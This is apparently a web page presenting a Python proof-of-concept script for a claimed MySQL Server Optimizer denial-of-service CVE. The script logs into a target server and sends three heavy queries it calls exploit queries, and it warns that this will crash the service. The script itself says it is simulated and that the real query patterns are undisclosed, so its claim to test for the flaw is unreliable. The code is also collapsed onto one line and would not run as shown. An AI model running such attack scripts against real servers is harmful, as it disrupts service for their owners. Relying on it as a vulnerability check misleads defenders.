CVE-2026-21949: Oracle MySQL Server Optimizer组件拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2026-21949 PoC - MySQL Server Optimizer DoS Note: This is a simulated PoC for demonstration purposes. The actual exploit requires specific query patterns targeting the Optimizer component. """ import mysql.connector import sys import time def test_vulnerability(host, port, user, password, database='mysql'): """ Test for CVE-2026-21949 - MySQL Optimizer DoS This PoC attempts to trigger the Optimizer vulnerability through carefully crafted queries that may cause server hang or crash. WARNING: This will crash the MySQL server service! """ try: # Connect to MySQL server conn = mysql.connector.connect( host=host, port=port, user=user, password=password, database=database ) cursor = conn.cursor() print(f"[*] Connected to MySQL server at {host}:{port}") print(f"[*] Testing CVE-2026-21949 - Optimizer DoS...") # Crafted queries that may trigger Optimizer vulnerability # Note: The actual vulnerable query patterns are not publicly disclosed # This is a simplified example based on typical Optimizer DoS patterns exploit_queries = [ # Pattern 1: Complex JOIN with subqueries "SELECT * FROM information_schema.tables t1 " "JOIN information_schema.tables t2 ON t1.table_schema = t2.table_schema " "JOIN information_schema.tables t3 ON t2.table_name = t3.table_name " "WHERE t1.table_schema IN (SELECT table_schema FROM information_schema.tables " "GROUP BY table_schema HAVING COUNT(*) > 1)", # Pattern 2: Recursive CTE with Optimizer stress "WITH RECURSIVE cte AS ( SELECT 1 AS n UNION ALL SELECT n + 1 FROM cte WHERE n < 10000 ) SELECT * FROM cte c1 JOIN cte c2 ON c1.n = c2.n JOIN cte c3 ON c2.n = c3.n", # Pattern 3: Complex view with derived tables "SELECT * FROM ( SELECT table_schema, table_name FROM information_schema.tables ) AS derived1 JOIN ( SELECT table_schema, table_name FROM information_schema.tables ) AS derived2 ON derived1.table_schema = derived2.table_schema" ] for i, query in enumerate(exploit_queries, 1): print(f"\n[*] Sending exploit query {i}...") try: cursor.execute(query) results = cursor.fetchmany(10) print(f"[+] Query {i} executed (may indicate vulnerability not present)") except mysql.connector.Error as e: print(f"[!] Query {i} failed: {e}") if "crash" in str(e).lower() or "lost" in str(e).lower(): print("[!] Server may be vulnerable to CVE-2026-21949") cursor.close() conn.close() except mysql.connector.Error as e: print(f"[!] Connection error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <host> <port> <user> <password>") sys.exit(1) host = sys.argv[1] port = int(sys.argv[2]) user = sys.argv[3] password = sys.argv[4] print("="*60) print("CVE-2026-21949 PoC - MySQL Server Optimizer DoS") print("WARNING: This exploit may crash the target MySQL server!") print("="*60) test_vulnerability(host, port, user, password)